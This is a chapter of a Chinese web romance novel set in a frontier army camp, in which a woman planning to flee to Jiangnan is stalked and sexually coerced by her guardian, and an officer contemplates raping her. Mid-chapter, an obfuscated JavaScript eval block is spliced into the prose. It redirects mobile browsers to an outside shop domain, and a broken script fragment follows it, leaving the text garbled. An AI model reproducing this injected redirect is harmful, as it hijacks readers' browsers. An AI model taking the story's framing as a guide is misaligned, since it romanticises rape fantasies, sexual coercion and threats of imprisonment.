趁着陆凛被人群围住在忙活,姜绾找了个机会开溜。
平日她是没什么机会见到李都尉的。
她跟人群里的李都尉对视一眼,两人交互了个眼神,趁着没人注意,先后脚溜进校场旁的小树林。
这类地区的风物地理志与地图都是官府的管控书,轻易拿不到。
更遑论远渡大盛国土,运到极北之地了。
因着上次在菜地里无意中知晓了李都尉是江南人,她才碰运气让元娘帮忙打听。
没想到李都尉还真有。
她想要搞这些东西,也是为日后去江南生活做准备。
只是那次菜地见过面后,李都尉便一直被陆凛安排到前线去做事,极少能够与她碰到。
姜绾也知晓,是陆凛故意为之。
角落里,李都尉将怀里藏着的书掏出来递给她,还不忘左右警惕,确保没人看到他们俩。
他红着脸,声音有些低:“姜大夫,你可千万莫让侯爷知晓这是我给你的,否则……”
他怕是不止挨五十军棍这么简单。
姜绾忙点头:“放心,知道知道。”
她收好书,笑道:“多谢你!”
她正需要这些东西。
但陆凛管得太严了,又极为敏锐,她只能出此下策。
李都尉盯着她笑盈盈的小脸,还能闻到她身上幽幽传来的香气,很清幽,夹杂着点中药材的味道,撩得他心神荡漾。
他晚上也喝了点酒,兴奋上头。
夜色浓郁,山谷里吹来的风有着诡谲的力量,能够轻易勾出人内心深处压抑着的最邪恶最见不得光的欲望。
小姑娘就在他身侧,全然不设防地低头检查几本书,夜色下露出一截白嫩的脖颈,纤细脆弱地刺激着他的理智。
此处极为偏僻,且无人知晓。
所有人都在场上兴奋地玩闹着,没人会留意到这个无人的角落。
他只需要突然出手捂住她的唇,将她打晕,拖到隐蔽处,脱了衣裳……
一盏茶。
他只要一盏茶的功夫……就能得到她。
脑海中蹦出来的想法刺激着他,令他浑身燥热难耐,呼吸滚烫。
他已经心仪她太久太久了。
脑子里那些小册子上的媾和小人图被填充上姜绾娇弱纤细的身躯,她约莫比册子上还要白。
盛京来的女人,娇滴滴地养着,自然比北境日日风吹日晒的人要白得多。
他从来没见过她这样又香又白又娇滴滴的女人,像是夜空高悬的明月,美得摄人心魂。
李都尉艰难地咽了咽口水,手已经不受控制地伸向她……
善良的小姑娘对此还一无所知,他只要动作迅速一点,再迅速一点。
忽然,姜绾身后不远处,一双幽魂般的鬼火绿光亮起,锁定了他的位置。
李都尉吓得浑身一哆嗦,脑中什么爱欲与迫切都被击碎。
狼的眼睛……
是铁头将军!
李都尉没敢多留,胡乱找了个借口,转头仓惶溜走。
姜绾对此一无所知,将书藏入怀中,也很快离开。
回到篝火晚会上时,陆凛不在。
姜绾好奇地拉了楚卓问:“侯爷人呢?”
楚卓正跟人打牌,闻言也只是摇摇头:“刚刚还在的,许是有事走开了。”
姜绾没多想,只说:“那我先回去了,一会侯爷回来你与他说一声吧。”
楚卓点了点头,“好,放心吧。”
姜绾便让王老虎先送她回了妇人营。
回到营中还不到亥时,人都出去玩了,妇人营里格外安静。
姜绾见王老虎还有点意犹未尽,笑道:“你去玩吧,我这睡觉了马上,你用不着守着我。”
王老虎就等着她这话呢,闻言也没客气,跟她道了别,重新往篝火晚会去。
姜绾关了房门,点上油灯将书掏出来。
她打定了主意一门心思要往江南去,孤身一人,自然得先提前了解点东西。
李都尉给的几本书介绍详尽。
江南各个郡城的风土人情、地形地貌、饮食偏好、甚至有记载的各大家族都一一载册,一目了然。
她对照着在地图上圈出自己想要去的几个地方,细细为日后的生活做规划。
忽然,窗边传来细微动静,在寂静的夜色里格外突兀又悚然。
姜绾闻声抬头,却见窗户开了一条小缝,缝隙里是阴沉漆黑的一片浓郁夜色,什么都看不见。
她吓一跳,警惕地摸到腰间针包:“谁在那?”
窗户又动了两下,动静怪异。
姜绾心头微凛,往门边退,后背有点冒冷汗。
“啪”的一声,窗户被撞开,一只毛茸茸的狼头戳了进来,对着姜绾咧开嘴傻乐。
姜绾紧绷的身体瞬间松懈:“铁头!怎么是你呀,吓死我了!”
她好笑地凑过去,抱着狼脑袋恶狠狠蹂躏一通。
铁头傻兮兮地咧着嘴吐着舌头,任由她暴力揉捏。
姜绾在它脑袋上敲了下:“下次要找我,直接嗷呜嗷呜知道吗?不出声真的很吓人!我还以为谁躲在我窗户外偷窥我呢!”
铁头杵着鼻子不停往她身上拱,嗅来嗅去,好像她身上有什么味道似的。
姜绾低头闻了闻,一股油腻的羊肉串子味儿,腌入味了都。
她腹中饱胀,闻这个味道着实腻得慌。
“反正你没事,陪我去洗澡好了!”
正好也许久没有去后山泡温泉,有铁头带着狼群巡逻,比人要靠谱太多了。
姜绾心情极好地将书收起,藏到床底下的暗格里,又拿了干净的换洗衣服出来,摸摸铁头:“走吧!”
一人一狼哼着小曲往后山去。
黑洞洞的房间里,陆凛面无表情从房梁上跳了下来,重新点燃油灯。
他没想到,从赵氏的房间出来,会有意外收获。
陆凛面色紧绷,漆黑阴鸷的黑眸锁定床底的位置。
几乎不费吹灰之力,几本书被搜了出来。
全是关于江南的风土地貌。
还有张被折叠的地图,圈着几个地点。
脑海中浮现出方才小姑娘趴在地图上,满怀憧憬又开心地圈圈画画的场景。
她真的很喜欢江南。
比他预料中的还要喜欢。
明明,他告诫过她,不要在他不在场时私会其他男人,也还是不听。
她被他护得太好了。
全然低估了一个女人被丢入军营之中,会成为多少人觊觎的对象。
他脑中又回荡起方才在赵氏房中听到的话。
她说:“你这样的人,身边是留不住任何人的,包括她。”
她还说,“姜绾那丫头与你全然不是一类人,她不可能会喜欢你,莫要白费心思了。”
陆凛的目光落在江南的地图上。
静默半晌,地图被拿起来,在烛火上点燃。
火苗将地图上的位置一点点吞噬殆尽。
他就静静盯着,漆黑的眼底倒映着跳动的火光,折射出森森寒意。
留个人而已,有什么难的?
她不愿待在他身边,他有的是法子将人留下。
再不济,打断了双腿,囚禁在房间里便是。
赵氏不就是个例子么?
陆凛嗤笑出声。
*
月色下的温泉池升腾着淡淡的雾气。
铁头正指挥着其他狼帮忙去摘浆果过来。
它娘亲每次泡完温泉都特别爱吃这些咬了爆汁的小果子。
姜绾趴在温泉池边,舒坦地闭着眼睛享受难得的放松。
浑然未觉身后一片阴影缓缓凑近,温软平静的水面被黑影破开,涟漪朝着两边圈圈荡漾。
勃发劲瘦的滚烫男性躯体如同鬼一样地贴上了她的后背。
姜绾吓得猛然转身,没来得及叫便被人堵住了唇,檀口中粗暴又强势地闯进来不属于她的舌头。
绷紧心弦在闻到熟悉的冷冽薄荷气息时骤然松懈。
借着月光,她看清了近在咫尺的人。
尽管头发湿漉贴在脸上,她的视线里只能瞧见他的上半张脸,也足够辨认出来人。
姜绾气得要命,抬手锤他,触碰到他赤裸的上身和富有弹性的胸肌,溅起一片水花。
察觉两人都不着寸缕,她脑中的危机意识开始拉响警报。
“兄长……”她挣扎着将脑袋往后仰,牵出一抹暧色银丝在两人唇齿间挂附。
她腿软撑不住身子,靠着温热光滑的岩石缓缓下滑,半张脸已经浸入泉水中。
对方偏不如她的愿,大掌准确探入水底,捞住她的大腿,将人托起。
他用了几分力道,白腻娇软的腿肉被他狠狠掐住,指缝里漏出一点软肉,手感极好。
他凭生几分狠厉,再次粗暴地将人压住,不许她退一寸,再次摄住她的唇,贪婪又几近疯魔地摄取她口中甘霖。
吮得姜绾舌根发麻:“唔……疼……”
她挣扎不过。
他身上的攻击性过于强烈,整个人几乎压在她身上。
月色下颤颤巍巍的雪脯被挤压变形,四面八方都是他身上的无形压迫,令她无所遁形,也无处躲藏。
她下意识挣扎起来,却被他发狠地扣住手腕,抵在一旁。
“唔……”姜绾疼得当场冒出眼泪,手腕顿时被勒出一圈青紫痕迹。
她从未见过这样的他。
原来他先前说一直在她面前收敛着,并未
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17598454|202680||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
骗他。
他真发起狠来,她确实很容易受伤,也确实全然无法招架。
不知过了多久,久到她的唇已经被吮得如同熟透的浆果,随时要爆出汁水,舌头也已经完全麻痹没了直觉,他才放开她。
下一刻又似咬非咬,似舔非舔地含住了她的耳垂,在她耳边低语:“绾绾,你会一辈子陪着我的,对吗?”
“绾绾……我的好绾绾……”
姜绾不知道他突然发的什么疯,状态明显很不对劲。
而且他亲了她这么久,脑海中竟然一点愉悦值都没涨。
这是从未有过的情况。
姜绾只能茫然又心虚地先把人稳住:“我会永远陪着你的,不会离开。兄长你怎么了……”
忽然,他的手狠狠掐住了她身上的软肉,像是泄愤,又像是要将她当场撕碎:“撒谎。”
“绾绾,你在撒谎。”
姜绾对上他猩红如猛兽般阴鸷的黑眸,吓得本能颤抖,后背阵阵汗毛倒竖:“我……我没有……”
察觉到他挤入她两腿之间,姜绾脑中警铃大作:“兄长!我……我我给你讲个冷笑话好吗?”
“或者是你想要我做什么……我我都可以。”
她笑得有点可怜,几乎要忍不住被吓哭,肩膀止不住地娇颤,挂附在她肩头的水珠在月色下折射着颤颤巍巍的光泽,顺着滑腻的肌肤滑落。
他扣住她的后颈,逼迫她与他对视:“你不许畏惧我。”
姜绾吓得指尖都在发颤:“好……好,我不怕你。”
接连的温顺让他很是受用。
陆凛眼底戾气稍散几分,又俯身凑近。
两人都不着寸缕,这种姿势于她而言,实在太过危险。
姜绾吓得几乎魂飞魄散:“兄长……你你到底怎么了?谁惹你生气了?”
“想知道?”他危险凑近,被温泉水打湿的碎发黏在他脸颊两侧,阴森得如同蛰伏在河底的水鬼。
姜绾只能无措点头,“想……”
“惹我生气的人,自然是绾绾。”他明晃晃地告诉她,眼神死死钉在她面上,等着看她的反应。
姜绾心头微跳,第一反应是今晚和李都尉见面的事被他知道了。
可他们只是见了一面而已,他不该会如此动怒。
难道是他发现了她在看那些书,猜到了她要跑?
她不停告诫自己,稳住心神,不能慌乱。
他猜到了又能如何?
一切只是他的猜测,没有任何实质上的证据,难不成他还能将这些莫须有的罪名强加她头上不成?
即便她要跑,那也是这具身体死透透了,换身躯壳,他难不成还能手眼通天抓到她?
电光火石之间快速闪过的一堆念头渐渐抚平了她心头的恐惧。
她咽了咽口水,开始给人顺毛:“兄长……我不知道哪里惹你生气了,但是我可以先道歉……”
她颤颤巍巍地伸出手,想要去勾他的脖子。
纤细白嫩的腕骨细得好似轻轻一掰就会断,朦胧的银白色月光在她湿漉漉的手臂上渡上一层银霜。
脆弱又美丽,轻易就能催生出人心头的凌虐欲与摧毁欲。
“啪”的一声,他将她的手打落:“我允许你碰我了?”
这是要她哄的意思。
姜绾对他的狗脾气已经很是熟悉,示弱地继续用手肘支撑着自己的上半身,“没有……”
她手臂实在没有力气。
腿被他架在臂弯里,身下与他的小腹严丝合缝地紧密相贴,她只能用手肘撑在身后的岩石上,才能保持上半身的平衡。
他还不让她去抱他的脖子,把重量压在他身上。
好坏的人。
她暗暗咬牙,又抬起湿漉漉的水眸望向他:“兄长要如何才能消气?”
不着寸缕的姿势实在让她有些没安全感。
被他强行抬起的上身无泉水遮掩,她羞愤地闭上了眼睛,没有勇气睁开。
陆凛的声音低哑响起,如同阴冷水鬼,藏着蛊惑与引诱:“绾绾不是很擅长取悦自己的身子么,就这样取悦给我看,什么时候我满意了,便放过你。好么?”
姜绾简直想要捂住自己的耳朵:“我……我不会……”
陆凛俯身凑近,扣住了她的脖子,强迫她与自己对视:“怎么又撒谎?”
“那夜,绾绾一个人靠在这块岩石边,不是很尽兴?”
“就像那晚一样,再做一次给我看,好么?”
姜绾被吓懵了,傻乎乎地望着他:“你看到了?”
话一出口,她顿觉不对,捂住了唇。
【叮!陆凛愉悦值+50,转换生命值50日。】
陆凛唇角微勾,一字一句,缓慢清晰:“从头到尾,看完全程。”